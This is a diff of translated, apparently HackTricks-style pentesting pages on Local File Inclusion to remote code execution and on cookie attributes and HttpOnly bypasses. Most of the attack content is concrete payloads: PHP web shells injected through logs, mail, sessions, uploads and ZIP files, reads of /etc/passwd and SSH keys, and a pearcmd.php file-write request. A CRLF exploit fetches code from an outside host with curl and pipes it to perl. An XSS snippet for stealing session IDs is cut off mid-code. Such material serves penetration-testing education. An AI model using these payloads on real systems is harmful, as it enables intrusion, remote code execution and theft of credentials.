> इसके अलावा, सुनिश्चित करें कि आप **पेलोड को सही तरीके से लिखें** अन्यथा PHP हर बार लॉग फ़ाइल को लोड करने की कोशिश करते समय त्रुटि देगा और आपके पास दूसरा अवसर नहीं होगा।
|
||||
> साथ ही, सुनिश्चित करें कि आप **payload को सही तरह से लिखते हैं**, नहीं तो हर बार जब PHP लॉग फ़ाइल लोड करने की कोशिश करेगा तो error देगा और आपको दूसरी संभावना नहीं मिलेगी।
|
||||
|
||||
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग के अंदर कोड URL एन्कोडेड हो सकता है और यह शेल को नष्ट कर सकता है। हेडर **प्राधिकरण "बेसिक"** में "यूजर:पासवर्ड" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
|
||||
अन्य संभावित लॉग पथ:
|
||||
यह अन्य logs में भी किया जा सकता है पर **सावधान रहें,** logs के अंदर का कोड URL encoded हो सकता है और इससे Shell खराब हो सकती है। header **authorisation "basic"** में "user:password" Base64 में होता है और यह logs में decoded होता है। PHPShell को इस header के अंदर डाला जा सकता है.\
|
||||
अन्य संभावित log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -500,68 +501,68 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### ईमेल के माध्यम से
|
||||
|
||||
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
|
||||
**एक मेल भेजें** एक आंतरिक अकाउंट (user@localhost) पर जिसमें आपका PHP payload जैसे `<?php echo system($_REQUEST["cmd"]); ?>` हो और उपयोगकर्ता के मेल को इस पथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`** से include करने की कोशिश करें
|
||||
|
||||
### /proc/\*/fd/\* के माध्यम से
|
||||
|
||||
1. बहुत सारे शेल अपलोड करें (उदाहरण के लिए: 100)
|
||||
2. शामिल करें [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जिसमें $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर (यह भी ब्रूट फोर्स किया जा सकता है)
|
||||
1. बहुत सारी shells अपलोड करें (उदाहरण के लिए: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), जहाँ $PID = PID of the process (can be brute forced) और $FD file descriptor है (can be brute forced too)
|
||||
|
||||
### /proc/self/environ के माध्यम से
|
||||
|
||||
एक लॉग फ़ाइल की तरह, User-Agent में payload भेजें, यह /proc/self/environ फ़ाइल के अंदर परिलक्षित होगा
|
||||
एक लॉग फाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### अपलोड के जरिए
|
||||
|
||||
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस इसमें शेल पेलोड इंजेक्ट करें (जैसे: `<?php system($_GET['c']); ?>` ).
|
||||
यदि आप फ़ाइल अपलोड कर सकते हैं, तो बस उसमें shell payload inject कर दें (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
फाइल को पढ़ने योग्य रखने के लिए, चित्रों/doc/pdf के मेटाडेटा में इंजेक्ट करना सबसे अच्छा है।
|
||||
फ़ाइल को पठनीय रखने के लिए सबसे अच्छा है कि इसे pictures/doc/pdf की metadata में inject किया जाए
|
||||
|
||||
### ज़िप फ़ाइल अपलोड के माध्यम से
|
||||
### ZIP फाइल अपलोड के माध्यम से
|
||||
|
||||
एक PHP शेल संकुचित करने वाली ZIP फ़ाइल अपलोड करें और एक्सेस करें:
|
||||
एक compressed ZIP फाइल अपलोड करें जिसमें एक PHP shell शामिल हो और access करें:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### PHP सत्रों के माध्यम से
|
||||
### PHP sessions के माध्यम से
|
||||
|
||||
जांचें कि क्या वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती है।
|
||||
जाँच करें कि वेबसाइट PHP Session (PHPSESSID) का उपयोग करती है या नहीं
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
PHP में ये सत्र _/var/lib/php5/sess\\_\[PHPSESSID]\_ फ़ाइलों में संग्रहीत होते हैं।
|
||||
PHP में ये sessions _/var/lib/php5/sess\\_\[PHPSESSID]\_ files में स्टोर होते हैं।
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
कुकी को सेट करें `<?php system('cat /etc/passwd');?>`
|
||||
cookie को `<?php system('cat /etc/passwd');?>` पर सेट करें।
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
PHP सत्र फ़ाइल को शामिल करने के लिए LFI का उपयोग करें
|
||||
LFI का उपयोग करके PHP session file को include करें
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
### ssh के जरिए
|
||||
|
||||
यदि ssh सक्रिय है तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और **\<HOME>/.ssh/id_rsa** तक पहुँचने की कोशिश करें।
|
||||
अगर ssh सक्रिय है तो देखें कौन सा उपयोगकर्ता उपयोग में है (/proc/self/status & /etc/passwd) और कोशिश करें **\<HOME>/.ssh/id_rsa** तक पहुँचने की।
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
### **के जरिए** **vsftpd** _**लॉग्स**_
|
||||
|
||||
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम पर विचार किया जा सकता है:
|
||||
FTP server vsftpd के लॉग _**/var/log/vsftpd.log**_ में स्थित होते हैं। उस स्थिति में जहाँ Local File Inclusion (LFI) vulnerability मौजूद हो, और exposed vsftpd server तक पहुँच संभव हो, निम्नलिखित कदम लिए जा सकते हैं:
|
||||
|
||||
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
|
||||
2. इंजेक्शन के बाद, _**/var/log/vsftpd.log**_ से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।
|
||||
1. लॉगिन प्रक्रिया के दौरान username फ़ील्ड में PHP payload इंजेक्ट करें।
|
||||
2. इंजेक्शन के बाद, LFI का उपयोग करके सर्वर लॉग्स को _**/var/log/vsftpd.log**_ से प्राप्त करें।
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
### php base64 filter के जरिए (using base64)
|
||||
|
||||
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
|
||||
जैसा कि [यह](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख दिखाता है, PHP base64 filter Non-base64 को अनदेखा कर देता है। आप इसका उपयोग file extension check को bypass करने के लिए कर सकते हैं: अगर आप ऐसा base64 दें जो ".php" पर खत्म होता है, तो यह "." को अनदेखा करके base64 में "php" जोड़ देगा। यहाँ एक example payload है:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -569,7 +570,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
यह [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताता है कि आप **php filters का उपयोग करके मनचाहा सामग्री** आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मतलब है कि आप **मनचाहा php कोड** शामिल करने के लिए **बिना लिखे** इसे एक फ़ाइल में उत्पन्न कर सकते हैं।
|
||||
यह [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) बताती है कि आप **php filters to generate arbitrary content** का उपयोग कर सकते हैं। जिसका मूलतः मतलब है कि आप include के लिए **generate arbitrary php code** बना सकते हैं **without needing to write** उसे किसी फ़ाइल में।
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -577,7 +578,7 @@ lfi2rce-via-php-filters.md
|
||||
|
||||
### Via segmentation fault
|
||||
|
||||
**Upload** एक फ़ाइल जो **अस्थायी** रूप से `/tmp` में संग्रहीत होगी, फिर **उसी अनुरोध में,** एक **segmentation fault** को ट्रिगर करें, और फिर **अस्थायी फ़ाइल को हटाया नहीं जाएगा** और आप इसके लिए खोज कर सकते हैं।
|
||||
**Upload** एक फ़ाइल जो `/tmp` में **temporary** के रूप में स्टोर होगी, फिर उसी **same request,** में एक **segmentation fault** ट्रिगर करें, और फिर वह **temporary file won't be deleted** होगी और आप उसे खोज सकते हैं।
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
@ -585,7 +586,7 @@ lfi2rce-via-segmentation-fault.md
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
यदि आपने **Local File Inclusion** पाया है और **Nginx** PHP के सामने चल रहा है, तो आप निम्नलिखित तकनीक के साथ RCE प्राप्त कर सकते हैं:
|
||||
यदि आपको **Local File Inclusion** मिला है और **Nginx** PHP के आगे चल रहा है तो आप निम्न तकनीक के साथ RCE प्राप्त कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -593,7 +594,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
यदि आपने **Local File Inclusion** पाया है, भले ही आपके पास **सत्र न हो** और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **सत्र को सक्षम करेगा**। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
|
||||
यदि आपको **Local File Inclusion** मिला है भले ही आपके पास **don't have a session** हो और `session.auto_start` `Off` हो। यदि आप **`PHP_SESSION_UPLOAD_PROGRESS`** को **multipart POST** डेटा में प्रदान करते हैं, तो PHP आपके लिए **enable the session for you** करेगा। आप इसे RCE प्राप्त करने के लिए abuse कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -601,7 +602,7 @@ via-php_session_upload_progress.md
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
यदि आपने **Local File Inclusion** पाया है और सर्वर **Windows** में चल रहा है, तो आप RCE प्राप्त कर सकते हैं:
|
||||
यदि आपको **Local File Inclusion** मिला है और सर्वर **Windows** पर चल रहा है तो आप RCE पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
@ -609,13 +610,13 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
जैसा कि [**इस पोस्ट में बताया गया है**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), स्क्रिप्ट `/usr/local/lib/phppearcmd.php` डिफ़ॉल्ट रूप से php docker छवियों में मौजूद है। इसके अलावा, यह संभव है कि स्क्रिप्ट को URL के माध्यम से तर्क पास किए जाएं क्योंकि यह संकेत दिया गया है कि यदि URL पैरामीटर में `=` नहीं है, तो इसे एक तर्क के रूप में उपयोग किया जाना चाहिए।
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
निम्नलिखित अनुरोध `/tmp/hello.php` में सामग्री `<?=phpinfo()?>` के साथ एक फ़ाइल बनाता है:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
यह CRLF vuln का दुरुपयोग करके RCE प्राप्त करता है (से [**यहाँ**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
निम्नलिखित CRLF vuln का दुरुपयोग RCE प्राप्त करने के लिए किया गया है (स्रोत: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -624,7 +625,8 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
|
||||
यदि आपने **Local File Inclusion** और एक फ़ाइल पाई है जो **phpinfo()** को प्रदर्शित करती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
|
||||
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -632,7 +634,8 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
यदि आपने **Local File Inclusion** पाया है और आप **temp फ़ाइल का पथ निकाल सकते हैं** लेकिन **सर्वर** **जांच** कर रहा है कि **शामिल की जाने वाली फ़ाइल में PHP मार्क्स हैं**, तो आप इस **Race Condition** के साथ **उस जांच को बायपास** करने की कोशिश कर सकते हैं:
|
||||
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -640,7 +643,8 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
यदि आप LFI का दुरुपयोग करके **अस्थायी फ़ाइलें अपलोड** कर सकते हैं और सर्वर को **PHP निष्पादन को लटकाने** के लिए मजबूर कर सकते हैं, तो आप **घंटों तक फ़ाइल नामों का ब्रूट फोर्स** कर सकते हैं ताकि अस्थायी फ़ाइल मिल सके:
|
||||
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -648,10 +652,10 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### To Fatal Error
|
||||
|
||||
यदि आप इनमें से कोई भी फ़ाइल शामिल करते हैं `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (आपको उस त्रुटि को फेंकने के लिए एक ही फ़ाइल को 2 बार शामिल करना होगा)।
|
||||
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
|
||||
|
||||
**मुझे नहीं पता कि यह कैसे उपयोगी है लेकिन यह हो सकता है।**\
|
||||
_भले ही आप PHP Fatal Error का कारण बनें, PHP द्वारा अपलोड की गई अस्थायी फ़ाइलें हटा दी जाती हैं।_
|
||||
**मुझे नहीं पता कि यह कितना उपयोगी है लेकिन यह उपयोगी हो सकता है।**\
|
||||
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -661,6 +665,9 @@ _भले ही आप PHP Fatal Error का कारण बनें, PHP
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -4,35 +4,35 @@
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
कुकीज़ कई विशेषताओं के साथ आती हैं जो उपयोगकर्ता के ब्राउज़र में उनके व्यवहार को नियंत्रित करती हैं। यहाँ इन विशेषताओं का एक संक्षिप्त विवरण है:
|
||||
Cookies में कई attributes होते हैं जो उपयोगकर्ता के browser में उनके व्यवहार को नियंत्रित करते हैं। नीचे इन attributes का संक्षेप में विवरण दिया गया है:
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित की जाती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी को हटा नहीं दिया जाता। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
|
||||
`Expires` attribute द्वारा cookie की expiry date निर्धारित होती है। इसके विपरीत, `Max-age` attribute cookie के delete होने तक के seconds में समय को परिभाषित करता है। **`Max-age` चुनें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
|
||||
|
||||
### Domain
|
||||
|
||||
कुकी प्राप्त करने वाले होस्ट `Domain` विशेषता द्वारा निर्दिष्ट किए जाते हैं। डिफ़ॉल्ट रूप से, यह उस होस्ट पर सेट होता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं करता। हालाँकि, जब `Domain` विशेषता को स्पष्ट रूप से सेट किया जाता है, तो यह उपडोमेन को भी शामिल करता है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसकी उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं।
|
||||
`Domain` attribute उन hosts को निर्दिष्ट करता है जिन्हें cookie प्राप्त होगी। डिफ़ॉल्ट रूप से यह उस host पर सेट होता है जिसने cookie जारी की थी, और इसमें उसके subdomains शामिल नहीं होते। हालांकि, जब `Domain` attribute स्पष्ट रूप से सेट किया जाता है, तो यह subdomains को भी समेट लेता है। इससे `Domain` attribute का विनिर्देशन कम प्रतिबंधात्मक विकल्प बन जाता है, उन परिदृश्यों के लिए उपयोगी जहां subdomains के बीच cookie साझा करना आवश्यक हो। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से cookies उसके subdomains जैसे `developer.mozilla.org` पर भी उपलब्ध हो जाती हैं।
|
||||
|
||||
### Path
|
||||
|
||||
`Cookie` हेडर को भेजने के लिए अनुरोधित URL में उपस्थित होना आवश्यक एक विशिष्ट URL पथ `Path` विशेषता द्वारा इंगित किया जाता है। यह विशेषता `/` वर्ण को एक निर्देशिका विभाजक के रूप में मानती है, जिससे उपनिर्देशिकाओं में मेल खाने की अनुमति मिलती है।
|
||||
`Path` attribute उस specific URL path को बताता है जो requested URL में मौजूद होना चाहिए ताकि `Cookie` header भेजा जाए। यह attribute `/` character को directory separator मानता है, जिससे subdirectories में भी मैच हो सकते हैं।
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
जब दो कुकीज़ का नाम समान होता है, तो भेजने के लिए चुनी गई कुकी इस पर आधारित होती है:
|
||||
जब दो cookies एक ही नाम साझा करते हैं, तो भेजने के लिए चुनी जाने वाली cookie का निर्धारण इस आधार पर होता है:
|
||||
|
||||
- अनुरोधित URL में सबसे लंबे पथ से मेल खाने वाली कुकी।
|
||||
- यदि पथ समान हैं, तो सबसे हाल में सेट की गई कुकी।
|
||||
- वह cookie जिसका path requested URL में सबसे लंबा मैच करता है।
|
||||
- यदि paths एक जैसे हैं तो सबसे हाल में सेट की गयी cookie चुनी जाती है।
|
||||
|
||||
### SameSite
|
||||
|
||||
- `SameSite` विशेषता यह निर्धारित करती है कि क्या कुकीज़ तीसरे पक्ष के डोमेन से उत्पन्न अनुरोधों पर भेजी जाती हैं। यह तीन सेटिंग्स प्रदान करती है:
|
||||
- **Strict**: तीसरे पक्ष के अनुरोधों पर कुकी भेजने से रोकता है।
|
||||
- **Lax**: तीसरे पक्ष की वेबसाइटों द्वारा शुरू किए गए GET अनुरोधों के साथ कुकी भेजने की अनुमति देता है।
|
||||
- **None**: किसी भी तीसरे पक्ष के डोमेन से कुकी भेजने की अनुमति देता है।
|
||||
- `SameSite` attribute यह निर्धारित करता है कि third-party domains से आने वाले requests पर cookies भेजी जाएँगी या नहीं। इसके तीन settings हैं:
|
||||
- **Strict**: third-party requests पर cookie भेजने को रोकता है।
|
||||
- **Lax**: third-party websites द्वारा initiate किए गए GET requests के साथ cookie भेजने की अनुमति देता है।
|
||||
- **None**: किसी भी third-party domain से cookie भेजने की अनुमति देता है।
|
||||
|
||||
याद रखें, कुकीज़ को कॉन्फ़िगर करते समय, इन विशेषताओं को समझना यह सुनिश्चित करने में मदद कर सकता है कि वे विभिन्न परिदृश्यों में अपेक्षित रूप से व्यवहार करें।
|
||||
ध्यान रखें, cookies को configure करते समय इन attributes को समझना विभिन्न परिस्थितियों में उनके अपेक्षित व्यवहार को सुनिश्चित करने में मदद करता है।
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
@ -45,76 +45,83 @@
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
एक कुकी जिसमें _**SameSite**_ विशेषता होगी **CSRF हमलों को कम करेगी** जहाँ एक लॉग इन सत्र की आवश्यकता होती है।
|
||||
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
|
||||
|
||||
**\*ध्यान दें कि Chrome80 (फरवरी/2019) से बिना कुकी सैमसाइट विशेषता वाली कुकी का डिफ़ॉल्ट व्यवहार लक्स होगा** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
ध्यान दें कि अस्थायी रूप से, इस परिवर्तन को लागू करने के बाद, Chrome में **बिना SameSite** **नीति** वाली कुकीज़ को **पहले 2 मिनट के लिए None के रूप में और फिर शीर्ष स्तर के क्रॉस-साइट POST अनुरोध के लिए Lax के रूप में** माना जाएगा।
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
ध्यान दें कि अस्थायी रूप से, इस परिवर्तन को लागू करने के बाद, Chrome में **SameSite नीति के बिना cookies** को पहले **पहले 2 मिनटों के लिए None माना जाएगा** और उसके बाद top-level cross-site POST requests के लिए **Lax** के रूप में माना जाएगा।
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
यह **क्लाइंट** को कुकी तक पहुँचने से रोकता है (उदाहरण के लिए **Javascript** के माध्यम से: `document.cookie`)
|
||||
यह **client** को cookie तक access करने से रोकता है (उदाहरण के लिए **Javascript** के माध्यम से: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
- यदि पृष्ठ **अनुरोधों के उत्तर के रूप में कुकीज़ भेज रहा है** (उदाहरण के लिए एक **PHPinfo** पृष्ठ में), तो XSS का दुरुपयोग करके इस पृष्ठ पर अनुरोध भेजना और **उत्तर से कुकीज़ चुराना** संभव है (एक उदाहरण देखें [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर में भेजी गई कुकीज़ को दर्शाया जाएगा (यदि यह HTTP विधि उपलब्ध है)। इस तकनीक को **Cross-Site Tracking** कहा जाता है।
|
||||
- इस तकनीक को **आधुनिक ब्राउज़रों द्वारा JS से TRACE** अनुरोध भेजने की अनुमति न देकर टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे कुछ बायपास विशेष सॉफ़्टवेयर में पाए गए हैं।
|
||||
- एक और तरीका ब्राउज़रों की शून्य/दिन की कमजोरियों का शोषण करना है।
|
||||
- यह **HttpOnly कुकीज़ को ओवरराइट** करने के लिए एक कुकी जार ओवरफ्लो हमले का प्रदर्शन करना संभव है:
|
||||
- यदि पेज किसी request के response के रूप में **cookies भेज रहा है** (उदा. **PHPinfo** पेज में), तो इस पेज पर request भेजने के लिए XSS का दुरुपयोग करके response से **cookies चुराना** संभव है (उदाहरण देखें [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- इसे **TRACE** HTTP requests के साथ बायपास किया जा सकता है क्योंकि server से response (यदि यह HTTP method उपलब्ध हो) भेजे गए cookies को reflect करेगा। इस technique को **Cross-Site Tracking** कहा जाता है।
|
||||
- आधुनिक browsers इस technique से बचने के लिए JS से TRACE request भेजने की अनुमति नहीं देते। हालाँकि, कुछ specific सॉफ़्टवेयर में इससे बायपास मिलने की रिपोर्ट है, जैसे IE6.0 SP2 को `\r\nTRACE` भेजना `TRACE` के स्थान पर।
|
||||
- एक अन्य तरीका ब्राउज़रों के zero/day vulnerabilities का exploit करना है।
|
||||
- Cookie Jar overflow attack perform करके HttpOnly cookies को overwrite करना संभव है:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- इन कुकीज़ को निकालने के लिए [**Cookie Smuggling**](#cookie-smuggling) हमले का उपयोग करना संभव है।
|
||||
|
||||
- इन cookies को exfiltrate करने के लिए [**Cookie Smuggling**](#cookie-smuggling) attack का उपयोग संभव है
|
||||
- यदि कोई server-side endpoint raw session ID को HTTP response में echo करता है (उदा., HTML comments या debug block के भीतर), तो आप XSS gadget का उपयोग करके उस endpoint को fetch करके, secret को regex से निकालकर, और उसे exfiltrate करके HttpOnly को bypass कर सकते हैं। Example XSS payload pattern:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
